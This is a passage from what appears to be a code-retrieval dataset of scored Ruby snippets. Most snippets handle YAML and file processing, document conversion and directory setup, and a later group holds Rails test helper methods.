"docid": "3e9b04935a669f58beb00edd3820d2f3",
"score": "0.49267137",
"text": "def read_input(opts, separator = :hr)\n text = File.read(opts.input)\n puts \"Reading #{opts.input} as input\" if opts.verbose\n source = Kramdown::Document.new(text)\n\n pages = []\n current_page = { :doc => Kramdown::Document.new(''), :title => \"\" }\n puts \"Parsing #{opts.input}\" if opts.verbose\n source.root.children.each do |element|\n if element.type == separator\n pages << current_page\n current_page = { :doc => Kramdown::Document.new(''), :title => \"\" }\n elsif element.type == :header && element.options[:level] == 1 && current_page[:title] == \"\"\n # We grab the first <H1> element in the page and set it as the title\n # of the current page.\n current_page[:doc].root.children << element\n current_page[:title] = element.options[:raw_text]\n else\n current_page[:doc].root.children << element\n end\n end\n\n pages << current_page\n puts \"Found #{pages.count} slides on #{opts.input}\" if opts.verbose\n pages\nend",
"title": ""
},
{
"docid": "2ac013b56c799e05c703656bc029f0aa",
"score": "0.49222594",
"text": "def export file_path\n stages = list\n export_data = {}\n\n stages.each do |stage|\n export_data[stage] = read stage\n end\n\n File.open(file_path, 'w') do |f|\n f.write export_data.to_yaml\n end\n\n rescue Exception => e\n if e.message.include? 'No such file or directory'\n raise IOError, \"No such directory - #{file_path}\"\n else\n raise e\n end\n end",
"title": ""
},
{
"docid": "212929d6b298900c074f4a9bd9bac9cf",
"score": "0.49222437",
"text": "def upload(yaml_path)\n upload_phrases(all_phrases(yaml_path))\n end",
"title": ""
},
{
"docid": "58b80dc76924006965cb397e4d221749",
"score": "0.49115422",
"text": "def load\n contents = File.read File.join(full_source_path)\n if contents =~ /^(---\\s*\\n.*?)\\n---\\s*\\n/m\n @source_content, @source_metadata = contents[($1.size + 5) .. -1], YAML.load($1)\n else\n @source_content, @source_metadata = contents, {}\n end\n @source_metadata.symbolize_keys\n end",
"title": ""
},
{
"docid": "ef22c44e8cfc14d289ef1193174b97cc",
"score": "0.4908883",
"text": "def convert()\n FileUtils.mkdir_p(options[:output_dir])\n\n # A invocação de pandoc passando parâmetro como --before-body necessita\n # de ser realizado através de arquivos, portanto, serão criados arquivos\n # temporários para sua execução\n pretextual_tempfile = Tempfile.new('pretextual')\n postextual_tempfile = Tempfile.new('postextual')\n begin\n pretextual(pretextual_tempfile)\n postextual(postextual_tempfile)\n textual(pretextual_tempfile,postextual_tempfile)\n\n ensure\n pretextual_tempfile.close\n pretextual_tempfile.unlink\n postextual_tempfile.close\n postextual_tempfile.unlink\n end\n end",
"title": ""
},
{
"docid": "430ff3889d4a78c20df079f32dfd27d6",
"score": "0.49052456",
"text": "def load_training_files(files = [])\n Dir.chdir('./data')\n filenames = Dir.glob(\"*#{@opponent}*\").select {|f| File.file? f}\n filenames.each { |f| files << YAML::load_file(f) }\n Dir.chdir('..')\n files\n end",
"title": ""
},
{
"docid": "561ddc1b36797ed83bdce12f2a142010",
"score": "0.48890093",
"text": "def parse_layout_files\n ::Dir.glob(::File.join(@layout, '**', '*')).each do |file|\n unless ::File.directory?(file)\n # Get source and target files\n source_file = file.gsub(@layout, '')\n target_file = ::File.join(@path, 'source', source_file)\n # Parse template file\n @global.template file, target_file, @project.context\n end\n end\n end",
"title": ""
},
{
"docid": "fbf16b379ce5351964e5b61016b94321",
"score": "0.48859286",
"text": "def from_path(path)\n return nil unless Pathname(path).exist?\n\n from_yaml File.read(path)\n end",
"title": ""
},
{
"docid": "a4a1abcf4dc80de40eb7018512e8efc3",
"score": "0.4884469",
"text": "def template_entries\n template_directories.map do |directory|\n Dir.glob(\"#{directory}/*.tex\").map do |file|\n { 'filename' => File.basename(file), 'content' => File.read(file) }\n end\n end.flatten\nend",
"title": ""
},
{
"docid": "2d87cbdd3a491961d2d0707803e60d01",
"score": "0.4879575",
"text": "def marked_dirs(inputs)\n output = []\n # We take al the .musicmark path in those folders\n inputs.each do |input|\n input = File.expand_path(input)\n next unless valid_dir?(input)\n marked_files = Dir[\"#{input}/**/.musicmark\"]\n next if marked_files.empty?\n output += marked_files.map { |file| File.dirname(file) }\n end\n\n output\n end",
"title": ""
},
{
"docid": "46c4787b9395746d6827c7ea9352f6e0",
"score": "0.4871759",
"text": "def koha_yaml(filepath)\n output = capture :cat, filepath\n YAML.load(output)\n end",
"title": ""
},
{
"docid": "3365a93108e024848642a57f33f5cca0",
"score": "0.48711118",
"text": "def read file_path\n self.content = File.read(file_path)\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n\n self.data = YAML.load($1)\n end\n rescue ArgumentError\n STDERR.puts \"The contents of post #{file_path} are causing some problems. Most likely it has characters that are invalid UTF-8. Please correct this and try again.\"\n rescue Psych::SyntaxError\n puts \"YML Exception reading #{file_path}\"\n rescue => e\n puts \"YAML Exception reading #{file_path}: #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "06c9aeac8c21a26f2bd11b853bc6295f",
"score": "0.48668838",
"text": "def yaml_files\n return to_enum(:yaml_files) unless block_given?\n return unless File.directory? Astute.config.graph_dot_dir\n Find.find(Astute.config.graph_dot_dir) do |file|\n next unless File.file? file\n next unless file.end_with? '.yaml'\n yield file\n end\n end",
"title": ""
},
{
"docid": "af701cb89da8b03ecea91a26f9740c04",
"score": "0.48634142",
"text": "def create_configuration_files\n directory(\"config/translation_maps\")\n end",
"title": ""
},
{
"docid": "9d45b4bfe3426280c0210b593b015bb1",
"score": "0.48564133",
"text": "def load_path(base)\n loader = Loader.new\n Find.find(base)\n .select { |path| File.basename(path) =~ /^[^.].*\\.yml$/ }\n .sort\n .each do |path|\n info \"loading #{path} ...\"\n loader.load_file(path)\n end\n loader.finalize\n end",
"title": ""
},
{
"docid": "34c80ae63dd4936fa1b20f546d4a5945",
"score": "0.48563114",
"text": "def config_paths\n Dir.glob(File.join path, \"*.yml\")\n end",
"title": ""
},
{
"docid": "af349a5c25cd4a2e6de640e8d7bb4f08",
"score": "0.48499674",
"text": "def compile_files(options)\n \n recurse_folder(options[:input], options[:input_ext]) do |inputFile|\n \n # Construct the resulting file name\n targetName = options[:output] + inputFile.gsub(/#{options[:input]}/, \"\")\n\n # Change output extension\n targetName = targetName.gsub(/#{options[:input_ext]}/, options[:output_ext])\n targetDir = File.dirname targetName\n \n # Make the folders if not exists\n mkdir_p targetDir, :verbose => false if not File.directory? targetDir\n \n # Open files and run block on each file\n File.open(targetName, File::CREAT|File::TRUNC|File::RDWR, 0644) do |outputFile|\n yield inputFile, outputFile\n end\n end\nend",
"title": ""
},
{
"docid": "ae19ff1d1b63f93eb35a14f648aeaf80",
"score": "0.48440754",
"text": "def create_file_layout(path, layout)\n FileUtils.mkdir_p(path)\n result = []\n layout.each do |elem|\n if elem.is_a?(Hash)\n elem.each do |k, v|\n full_path = File.join(path, k)\n FileUtils.mkdir_p(full_path)\n result += create_file_layout(full_path, v)\n end\n elsif elem.is_a?(FileContent)\n fullpath = ::File.join(path, elem.name)\n File.open(fullpath, 'w') { |f| f.write elem.content }\n result << fullpath\n else\n fullpath = ::File.join(path, elem.to_s)\n File.open(fullpath, 'w') { |f| f.puts elem.to_s }\n result << fullpath\n end\n end\n result\n end",
"title": ""
},
{
"docid": "7405da0fe739ace9f32f1678209738bd",
"score": "0.48437276",
"text": "def materialize(in_path=\".\", env={}, &on_collision)\n @output_indent = 0\n in_path = File.expand_path(in_path)\n create_directory(in_path) { |created|\n created ? \"Creating root '#{in_path}'\" : \"Root already exists '#{in_path}'\"\n }\n\n change_directory(in_path) do\n if @directories.empty?\n info { \"No directories to create\" }\n else\n info { \"Creating directories\" }\n @directories.each do |source_dir_path|\n target_dir_path = process_path(source_dir_path, env)\n create_directory(target_dir_path) { |created| \" #{target_dir_path}#{\" (exists already)\" unless created}\" }\n end\n end\n\n if @files.empty?\n info { \"No files to create\" }\n else\n info { \"Creating files\" }\n @files.each do |source_file_path, content|\n target_file_path = process_path(source_file_path, env)\n data = process_content(target_file_path, content, env)\n if File.exist?(data.path)\n if block_given? && yield(data)\n create_file(data.path, data.content) { \" #{data.path} (exists already, overwriting)\" }\n else\n info { \" #{data.path} (exists already, keeping)\" }\n end\n else\n create_file(data.path, data.content) { \" #{data.path} (new)\" }\n end\n end\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "3fd1a04f453bade096746de82fac9b4f",
"score": "0.4837929",
"text": "def yaml_file\n File.join ARCHIVE, \"#{@name}.yml\"\n end",
"title": ""
},
{
"docid": "4921a3cecbcc2612af548653166643e0",
"score": "0.4830604",
"text": "def cve_skeleton_yml\n File.read(File.expand_path('../skeletons/cve.yml', __dir__))\nend",
"title": ""
},
{
"docid": "4921a3cecbcc2612af548653166643e0",
"score": "0.4830604",
"text": "def cve_skeleton_yml\n File.read(File.expand_path('../skeletons/cve.yml', __dir__))\nend",
"title": ""
},
{
"docid": "bcb79bba75e27d5e18cf44bfa2666fc4",
"score": "0.48239818",
"text": "def load_path_chunks(path)\n chunks = YAML.load_file(path)\n @errors << \"Invalid chunks data\" unless chunks\n # TODO: A bit more validation would be nice.\n return chunks\n end",
"title": ""
},
{
"docid": "c9997d0adf8256c350a9408e97fd412b",
"score": "0.4813847",
"text": "def pupmods_in_fixtures_yml\n STDERR.puts ' ** pupmods_in_fixtures_yml' if ENV['BEAKER_helpers_verbose']\n fixtures_yml = fixtures_yml_path\n data = YAML.load_file( fixtures_yml )\n repos = data.fetch('fixtures').fetch('repositories', {}).keys || []\n symlinks = data.fetch('fixtures').fetch('symlinks', {}).keys || []\n STDERR.puts ' ** pupmods_in_fixtures_yml: finished' if ENV['BEAKER_helpers_verbose']\n (repos + symlinks)\n end",
"title": ""
},
{
"docid": "c3a9e9dea6cae9138ef3e0aeda5a8fc3",
"score": "0.48129416",
"text": "def main(filepaths, outpath)\n all_parsed_objs = []\n filepaths.each { |filepath| \n parser = Parser.new() \n file_parsed_objs = parser.parse_tex(filepath) \n all_parsed_objs += file_parsed_objs\n }\n anki_strs = all_parsed_objs.map { |parsed_obj| Ankier.tex_to_anki(parsed_obj) }\n rv = Ankier.save_anki_file(anki_strs, outpath)\nend",
"title": ""
},
{
"docid": "d3ce2b283516b400d1540b51e9ff2f48",
"score": "0.48125127",
"text": "def loadDataFromFile(path)\n addData(YAML.load_file(path))\n end",
"title": ""
},
{
"docid": "40a857f2894508ce4e787db4567b59bd",
"score": "0.48115906",
"text": "def load_file(path)\n d = YAML.load_file(path)\n\n if d.is_a?(Hash) \n d = HashWithIndifferentAccess.new(d)\n e = Evaluator.new(d)\n d = process(d, e)\n end\n\n @data[File.basename(path, \".yml\").downcase] = d\n end",
"title": ""
},
{
"docid": "5031e949e9d3a4597d4c11ad3b7a9fed",
"score": "0.48115885",
"text": "def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @original_path = path\n @relative_save_file_path = PathnameManager.new(path, path_type).relative_save_file_path\n end",
"title": ""
},
{
"docid": "d1e3d040f962adb4c5263e97279ad02b",
"score": "0.481082",
"text": "def collect_document(input, output)\r\n inputs=input.map{|xx| xx.esc.to_osPath }.join(\" \") # qoute cond combine the inputs\r\n inputname=File.basename(input.first)\r\n\r\n #now combine the input files\r\n @log.debug(\"combining the input files #{inputname} et al\")\r\n cmd=\"pandoc -s -o #{output} --ascii #{inputs}\" # note that inputs is already quoted\r\n system(cmd)\r\n if $?.success? then\r\n PandocBeautifier.new().beautify(output)\r\n end\r\n end",
"title": ""
},
{
"docid": "1c66e5b6b2ab91ba8f4f4ab98d3a14f9",
"score": "0.48083222",
"text": "def load_if_yaml(input, *validations)\n begin\n yaml = YAML.load(input)\n case yaml\n when *validations then yaml\n else input\n end\n rescue(ArgumentError)\n input\n end\n end",
"title": ""
},
{
"docid": "55f7d720d70f1ed8fea1df9a0f2adb03",
"score": "0.48083067",
"text": "def run_on_change(paths)\n Dir::mkdir(options[:output]) unless File.directory?(options[:output])\n\n paths.each do |locale_path|\n filename = File.basename(locale_path, \".yml\")\n input = File.new(locale_path, 'r')\n locale = YAML.load(input.read)\n input.close\n\n File.open(options[:output] + \"/#{filename}.json\", \"w\") do |f|\n f.puts locale.to_json\n end\n end\n end",
"title": ""
},
{
"docid": "5065455d4ba78d997cd447db0668d339",
"score": "0.48071802",
"text": "def load_file path\n YAML.load open(path).read.gsub(/\\t/, ' ')\n rescue Psych::SyntaxError => e\n print path, ':', e.message.split(':').last, \"\\n\"\n exit 1\n end",
"title": ""
},
{
"docid": "accd64017399325e102419ddfc1910e2",
"score": "0.48036963",
"text": "def knit(name, content)\n #knit_content, status = Open3.capture2(KNITR_PATH, name, \n #:stdin_data=>content)\n # set up the tempfiles to do the translation\n src_file = Tempfile.new('srcfile')\n src_file.write(content)\n src_file.close\n dst_file = Tempfile.new('dstfile')\n dst_file.close\n\n # execute!\n `#{KNITR_PATH} #{name} #{src_file.path} #{dst_file.path}`\n\n # read back in the processed file\n dst_file.open\n knit_content = dst_file.read\n dst_file.close\n\n # remove the files\n src_file.unlink\n dst_file.unlink\n\n # This is a hack to get the double backslashes in latex math \n # working with liquid templates\n knit_content.gsub(/\\\\\\\\$/){\"\\\\\\\\\\\\\\\\\"}\n end",
"title": ""
},
{
"docid": "3b5739c566fc883c33eed09da957857c",
"score": "0.48006845",
"text": "def sync_from_files\n # File read YAML load\n end",
"title": ""
},
{
"docid": "ef3f699606e6a8f2e9eb1b8d30a83799",
"score": "0.47972098",
"text": "def use\n metadata_path = \"#{hoard_path}/metadata.yml\"\n directories = YAML.load_file(metadata_path)['load_path']\n directories.map!{|dir| './' + File.join(hoard_path, dir)}\n load_path.replace(directories)\n stub_load_path_modifications\n end",
"title": ""
},
{
"docid": "464cdba2c417d1ec29d92fef1433bdf0",
"score": "0.47939402",
"text": "def create_structure!\n File.directory?(config_dir) || mkdir(config_dir)\n Dir[\"#{template_dir}/*.*\"].each do |template_file|\n target_file = config_dir(File.basename(template_file))\n cp template_file, config_dir if not File.exist? target_file\n end\n end",
"title": ""
},
{
"docid": "464cdba2c417d1ec29d92fef1433bdf0",
"score": "0.47939402",
"text": "def create_structure!\n File.directory?(config_dir) || mkdir(config_dir)\n Dir[\"#{template_dir}/*.*\"].each do |template_file|\n target_file = config_dir(File.basename(template_file))\n cp template_file, config_dir if not File.exist? target_file\n end\n end",
"title": ""
},
{
"docid": "464cdba2c417d1ec29d92fef1433bdf0",
"score": "0.47939402",
"text": "def create_structure!\n File.directory?(config_dir) || mkdir(config_dir)\n Dir[\"#{template_dir}/*.*\"].each do |template_file|\n target_file = config_dir(File.basename(template_file))\n cp template_file, config_dir if not File.exist? target_file\n end\n end",
"title": ""
},
{
"docid": "a31328f0f418d67d4004cb03cbd7ae4e",
"score": "0.47905728",
"text": "def segments_yml_path\n path = fixtures_path.join(\"segments/#{segments.join('/')}.yml\")\n path.exist? ? path : project_path.join('config/segments.yml.bak') \n end",
"title": ""
},
{
"docid": "b33397bc26692567b56318595ebd6a92",
"score": "0.47898856",
"text": "def generate_yaml\n raw_sections = File.read(__FILE__.gsub('.rb', '.wiki')).\n split(/^==/).\n map{|l| /=*(.+):(.+)====(.+)/m.match(l)}.compact\n\n sections = raw_sections.map do |r|\n desc = r[3].strip.gsub(/{\\|.+?\\|}/m, '').gsub(/\\n\\s+/m, \"\\n\").strip\n name = r[2].strip\n method_name = name.gsub(/\\(.+\\)/, '').strip.gsub(/\\W+/,'_').downcase\n code = r[1].strip\n\n potential_params = desc.scan(/\\s([XYZEFSPR])\\d*(?!\\w)/).map{|m| m[0].to_sym}.uniq.sort\n\n example_matcher = /^(Example:) ([\\w .<>-]+?)(#.+)?$/\n if match = example_matcher.match(desc)\n example = match[2]\n desc.sub!(example_matcher, '\\3').sub('#', '')\n end\n\n {\n code: code,\n name: name,\n example: example,\n accepts: potential_params,\n supported: true,\n method_name: method_name,\n description: desc,\n }\n end\n\n File.open(__FILE__.gsub('.rb', '.yml'), \"w\"){|f| f.write sections.to_yaml }\n end",
"title": ""
},
{
"docid": "600ed1f9f78981280203d69e7f436afd",
"score": "0.47891897",
"text": "def input_folder\n @options.fetch(:input_dir, \"#{root}/data/input\")\n end",
"title": ""
},
{
"docid": "93ca421c04cd8b706cb460a1ddd47c7c",
"score": "0.47875768",
"text": "def load_layout(filename, delim_col = \"\\t\", delim_row = $/)\n dir = File.dirname(Pathname.new(filename).realpath.to_s)\n fileset = File.open(filename,'r') {|f| f.read }.split(delim_row).map{|r| r.split(delim_col)} \n unless Pathname.new(fileset[0][0]).absolute? \n fileset.map! {|files| files.map! {|f| \n if !f.eql?(\"-\")\n \"#{dir}/#{f}\"\n else\n \"#{f}\"\n end}\n }\n end\nend",
"title": ""
},
{
"docid": "8511ca11455b037abd6183a9c2d1aef6",
"score": "0.47864196",
"text": "def generate_markdown\n base_path = File.join Dir.pwd, 'modules'\n src_path = File.join base_path, 'source', 'appium', '**', '*.md'\n dst_path = File.join base_path, 'gen'\n\n Dir.glob(src_path) do |md|\n new_path = File.join(dst_path, md.gsub(File.join(base_path, 'source'), ''))\n FileUtils.mkdir_p File.dirname new_path # ensure full path exists\n data = process_include File.read md\n File.open(new_path, 'w') { |f| f.write data }\n end\nend",
"title": ""
},
{
"docid": "15040f13fe05717d2ad35bcb0a0d726c",
"score": "0.4786297",
"text": "def collection_outdir_and_filout\n outdir_opts = @outdir.join(\"_\")\n outdir_base = Rails.root.join( \"public/src_corpora\", @collection[:src_datadir], \"preprocess\")\n outdir = @collection[:src_datadir] + \"/preprocess/\" + outdir_opts\n @preprocess[:file_dir] = outdir.to_s\n @preprocess[:fname_base] = outdir_opts\n end",
"title": ""
},
{
"docid": "248fb01866e8f3d38de29fd43356bc63",
"score": "0.4786108",
"text": "def existed_states\n if @args.file.nil? && @args.folder.nil? && @args.mode.nil?\n folders = Dir.glob('**/**/*.yml')\n folders.map { |a| a.gsub!(/states\\/[a-z]*\\//, '').gsub!('.yml', '') }\n elsif !@args.file.nil?\n [@args.file]\n else\n blocks_from_folder\n end\n end",
"title": ""
},
{
"docid": "016a38bd6b76e89abb77c4ec474fe43b",
"score": "0.47858685",
"text": "def apply( path )\n @patches.map do |fname, patchset|\n fname = File.join( path, fname ) # .gsub( /^.*?[\\/\\\\]/, '' ) )\n ftarg = File.read( fname ) rescue ''\n ftarg = YAML::load( ftarg ) if fname =~ /\\.yaml$/\n \n patchset.each_with_index do |(ptype, patch), patchno|\n # apply the changes\n puts \"*** Applying patch ##{ patchno + 1 } for #{ fname } (#{ ptype }).\"\n ftarg = method( ptype.gsub( /\\W/, '_' ) ).call( ftarg, patch )\n end\n\n [fname, ftarg]\n end.\n each do |fname, ftext|\n # save the files\n if ftext == :remove\n FileUtils.rm_rf fname\n else\n FileUtils.makedirs( File.dirname( fname ) )\n ftext = ftext.to_yaml if fname =~ /\\.yaml$/\n File.open( fname, 'w+' ) { |f| f << ftext }\n end\n end\n end",
"title": ""
}
] |
c3871d5222723b5d7f73ef24ab11e035
|
Add more helper methods to be used by all tests here...
|
[
{
"docid": "ef0b67a40ade4289e8201876375f54bb",
"score": "0.0",
"text": "def sign_in(test_user = :king_kong)\n visit new_user_session_path\n fill_in 'Email', with: users(test_user).email\n fill_in 'Password', with: 'password'\n click_on 'Log in'\n end",
"title": ""
}
] |
[
{
"docid": "e708ad90e8ce43e3a3a3a99c57b26047",
"score": "0.7330966",
"text": "def test_legacy_helpers\n assert_equal @patron.primary_phone, @patron.primary_address_phone\n assert_equal @patron.secondary_phone, @patron.secondary_address_phone\n assert_nil @patron.primary_address_mobile_phone\n assert_nil @patron.secondary_address_mobile_phone\n end",
"title": ""
},
{
"docid": "62158baafece84b452b305badc5dd98c",
"score": "0.701972",
"text": "def helpers; end",
"title": ""
},
{
"docid": "62158baafece84b452b305badc5dd98c",
"score": "0.701972",
"text": "def helpers; end",
"title": ""
},
{
"docid": "62158baafece84b452b305badc5dd98c",
"score": "0.701972",
"text": "def helpers; end",
"title": ""
},
{
"docid": "20eee1803dc33c3ccfc6a8680fd523f5",
"score": "0.6772961",
"text": "def my_tests\n end",
"title": ""
},
{
"docid": "8fbc98d9068bd9c82033a031286f0a1e",
"score": "0.6679903",
"text": "def tests; end",
"title": ""
},
{
"docid": "8fbc98d9068bd9c82033a031286f0a1e",
"score": "0.6679903",
"text": "def tests; end",
"title": ""
},
{
"docid": "35a51327dd0b5c9a884bb0e6f7155697",
"score": "0.6583205",
"text": "def testing\n # ...\n end",
"title": ""
},
{
"docid": "69183812dabe6ebac3d8677793cde36c",
"score": "0.65507036",
"text": "def test_legacy\n # Set up legacy handlers\n setup_legacy_handling\n\n common_tests\n end",
"title": ""
},
{
"docid": "171bfbcb531c5e13322384224eba1358",
"score": "0.6377433",
"text": "def test_method\n end",
"title": ""
},
{
"docid": "cea60b0acdb7de568a5c50ae7b273ca6",
"score": "0.63762784",
"text": "def define_helpers; end",
"title": ""
},
{
"docid": "e5678489698697cac867eefa3107f325",
"score": "0.632961",
"text": "def test_defaults\n end",
"title": ""
},
{
"docid": "b4151c446130d8bada93b3f12a97c3e7",
"score": "0.6280821",
"text": "def self_test; end",
"title": ""
},
{
"docid": "b4151c446130d8bada93b3f12a97c3e7",
"score": "0.6280821",
"text": "def self_test; end",
"title": ""
},
{
"docid": "a9f4c2a19b80ba89e2afaa1cdd14095b",
"score": "0.6249786",
"text": "def test_case; end",
"title": ""
},
{
"docid": "3c56049dd66f1032f1691f17f56e4323",
"score": "0.6142927",
"text": "def default_test; end",
"title": ""
},
{
"docid": "e0f668536718fe84c2cc973adb16180b",
"score": "0.6137607",
"text": "def default_test\r\n end",
"title": ""
},
{
"docid": "1630b8218c41f859a281c2cd83c785cf",
"score": "0.6121912",
"text": "def default_test\n end",
"title": ""
},
{
"docid": "1a6186064d8218f9aa0c8b82bcc4fdae",
"score": "0.6108209",
"text": "def __dummy_test__\n end",
"title": ""
},
{
"docid": "1e20b1e88eb6d79a135f027c2a8502e5",
"score": "0.60972595",
"text": "def test_added_methods\r\n assert_respond_to @default_user, :roles\r\n assert_respond_to @default_user, :has_role?\r\n \r\n assert_respond_to @default_user, :permissions\r\n assert_respond_to @default_user, :has_static_permission?\r\n end",
"title": ""
},
{
"docid": "6d38da185911f6d09c6d530dc9bd6275",
"score": "0.60949636",
"text": "def test_nothing\n end",
"title": ""
},
{
"docid": "b6a34c1cdc4af361a5503050daa524bc",
"score": "0.6085482",
"text": "def default_test\n end",
"title": ""
},
{
"docid": "8f1c94592f39e6f7649463118849a3c2",
"score": "0.6077252",
"text": "def test_cases; end",
"title": ""
},
{
"docid": "45492bf33d5cf4794ffea9eaaed11a44",
"score": "0.60748607",
"text": "def test_users_searches\n do_users_all\n do_simple_query\n do_tag_query\n do_profile_query\n end",
"title": ""
},
{
"docid": "0ed5036e40dc2ffbabaa5175a4fecb06",
"score": "0.603319",
"text": "def stest_method_1(test); end",
"title": ""
},
{
"docid": "f29131d9d58f129251021071e5c0e919",
"score": "0.60055846",
"text": "def test_should_eat()\n yay_or_nay = should_eat(\"ice cream\", \"winter\")\n assert_equal(\"False\", should_eat)\n end",
"title": ""
},
{
"docid": "07657037551d95ae713a97cd33441602",
"score": "0.60010356",
"text": "def test_nothing\n end",
"title": ""
},
{
"docid": "e72416c568ecd0002ea352c070ac9587",
"score": "0.59755695",
"text": "def should; super end",
"title": ""
},
{
"docid": "154f5c1f18576f3da8e2e0aa4e6600d9",
"score": "0.5975158",
"text": "def before_test(test); end",
"title": ""
},
{
"docid": "154f5c1f18576f3da8e2e0aa4e6600d9",
"score": "0.5975158",
"text": "def before_test(test); end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.5973282",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.5973282",
"text": "def spec; end",
"title": ""
},
{
"docid": "739a08b50dfbd16cb7de69fa33dddb13",
"score": "0.59555405",
"text": "def test_entry_attrs\n raise \"Implement this method in your test class\"\n end",
"title": ""
},
{
"docid": "f214afe7d254939af21d017373a66df1",
"score": "0.59167516",
"text": "def test_get_content_for\n end",
"title": ""
},
{
"docid": "0d4b620075906cbc657bf6965cdeaf0c",
"score": "0.59057903",
"text": "def test\n end",
"title": ""
},
{
"docid": "0d4b620075906cbc657bf6965cdeaf0c",
"score": "0.59057903",
"text": "def test\n end",
"title": ""
},
{
"docid": "0d4b620075906cbc657bf6965cdeaf0c",
"score": "0.59057903",
"text": "def test\n end",
"title": ""
},
{
"docid": "66275d321a819c38ced54a528b4a350e",
"score": "0.5894578",
"text": "def test_hack\n assert(true)\n end",
"title": ""
},
{
"docid": "c0c51b279cb409d89ddbae43f0a391e0",
"score": "0.5886192",
"text": "def test_pet_shop_name # this uses a function calles pet_shop_name ans passes in the argument @petshop (which contains the list of pets and admin info)\n name = pet_shop_name(@pet_shop) # the function should pull out the the name:\n assert_equal(\"Camelot of Pets\", name) # should return Camelot of pets\n end",
"title": ""
},
{
"docid": "7545a391a5ee3a4356d9df2fd2e8a4f7",
"score": "0.58858806",
"text": "def test \n end",
"title": ""
},
{
"docid": "ffc850710186fcd9239eacdea566962f",
"score": "0.5885474",
"text": "def test_nothing; end",
"title": ""
},
{
"docid": "c0f6608b3c4fd4851a29319d6766ea3c",
"score": "0.58805525",
"text": "def test_entry_attrs\n raise 'Implement the method \"test_entry_attrs\" in your test class'\n end",
"title": ""
},
{
"docid": "e9748b85ddb9d5afe3a6b48a9795e53c",
"score": "0.5860731",
"text": "def test\n\n end",
"title": ""
},
{
"docid": "4064f9752c2291871c38289ab3c1a85e",
"score": "0.5860412",
"text": "def compare_tests(test_a, test_b); end",
"title": ""
},
{
"docid": "4064f9752c2291871c38289ab3c1a85e",
"score": "0.5860412",
"text": "def compare_tests(test_a, test_b); end",
"title": ""
},
{
"docid": "1ea0145f1766317f8875773e74bd2a56",
"score": "0.584998",
"text": "def assertions; end",
"title": ""
},
{
"docid": "1ea0145f1766317f8875773e74bd2a56",
"score": "0.584998",
"text": "def assertions; end",
"title": ""
},
{
"docid": "5a628fb61130e971532ad3ae10b6ec45",
"score": "0.58033717",
"text": "def test_setup\r\n \r\n end",
"title": ""
},
{
"docid": "40198eea5846f44a3e00ab2743b45786",
"score": "0.5794802",
"text": "def test_truth\n end",
"title": ""
},
{
"docid": "a2bb500f32bca367ac2d11bf188f9fae",
"score": "0.5785648",
"text": "def build_test_helper \n \n return if skip_method(__method__)\n \n puts \"build Rails test helper for #{model_name} in test/helpers\"\n filename = \"#{plural_table_name}_helper_test.rb\"\n\n template = File.read(template(\"rails/test/helper_test.rb\"))\n # #text = ERB.new(template, nil, '-').result(binding)\n text = Erubis::Eruby.new(template).evaluate( self )\n\n path = namespaced_path(\"test/helpers\",filename)\n write_artifact(path,text) \n end",
"title": ""
},
{
"docid": "18938862ec170ba5111841b2b09d0cb0",
"score": "0.57691133",
"text": "def make_assertions_on_tests( tests, method )\n assert_equal false, tests[:bad].__send__( method )\n assert_equal true, tests[:good].__send__( method )\n assert_equal true, tests[:extra_good].__send__( method )\n end",
"title": ""
},
{
"docid": "45c7bac950ebb553e47fe97772c22279",
"score": "0.57356757",
"text": "def default_test\n end",
"title": ""
},
{
"docid": "45c7bac950ebb553e47fe97772c22279",
"score": "0.57356757",
"text": "def default_test\n end",
"title": ""
},
{
"docid": "cdcf7041167fe38d20eca416cb788b46",
"score": "0.5733712",
"text": "def test_entry\n raise \"Implement this method in your test class\"\n end",
"title": ""
},
{
"docid": "6e899f20472b59b187c8e96210ea6877",
"score": "0.5718457",
"text": "def helper_method(*methods); end",
"title": ""
},
{
"docid": "2016220e624ab162601ef3d40450afc7",
"score": "0.569885",
"text": "def integration_test()\n return [\"all\"]\n end",
"title": ""
},
{
"docid": "943cf9af522cfe9eb55e77c85fcac501",
"score": "0.5686251",
"text": "def test_entry\n raise 'Implement the method \"test_entry\" in your test class'\n end",
"title": ""
},
{
"docid": "169182cdb78de5f4c93943de92b336c4",
"score": "0.56847906",
"text": "def test_order; end",
"title": ""
},
{
"docid": "50252b7dd2edb74d755ef9e13380be6a",
"score": "0.56680214",
"text": "def test_nothing\n return true\n end",
"title": ""
},
{
"docid": "e55af74cbc0d30871ab8268ce13af376",
"score": "0.5660432",
"text": "def test_a\n end",
"title": ""
},
{
"docid": "40d2e64548af47364f7f86ee0cf0c3b9",
"score": "0.56465375",
"text": "def test_frameworks; end",
"title": ""
},
{
"docid": "faa2c5a9488752f24dd0c080cfb70e0d",
"score": "0.5645647",
"text": "def prepare_helpers\n base = File.join(config[:test_base_path], \"helpers\")\n\n helper_files.each do |src|\n dest = File.join(sandbox_suites_dir, src.sub(\"#{base}/\", \"\"))\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest, preserve: true)\n end\n end",
"title": ""
},
{
"docid": "3aaa68cd8ecc624e36ded9d607808521",
"score": "0.5644992",
"text": "def smoke_test ()\n\n smoke_test = [\"rest_get\"]\n return smoke_test\n end",
"title": ""
},
{
"docid": "99076923bb0cf0291fefbfddc9b54200",
"score": "0.56355596",
"text": "def add_testing\n setup_rspec\n setup_rspec_generators\n setup_rails_helper\n setup_factories_file\nend",
"title": ""
},
{
"docid": "e2d5a5adc18a4aa0cfe383b18c5433f0",
"score": "0.5591017",
"text": "def testHelper arr, description, expected\n\tresult = leastOccuringValueInArray(arr)\n\tString resultType = result.class\n\t \n\tString testStatus = \"Failed\"\n\tif (leastOccuringValueInArray(arr).class == expected.class)\n\t\t(leastOccuringValueInArray(arr) == expected)? testStatus = \"Passed\" : testStatus = \"Failed\"\n\tend\n\t\n\t# Print test results\n\tputs \"| \" + testStatus + \" | \" + description + \", expected: \" + expected.to_s + \"(\" + expected.class.to_s + \")\" + \", actual: \" + result.to_s + \"(\" + resultType.to_s + \")\"\nend",
"title": ""
},
{
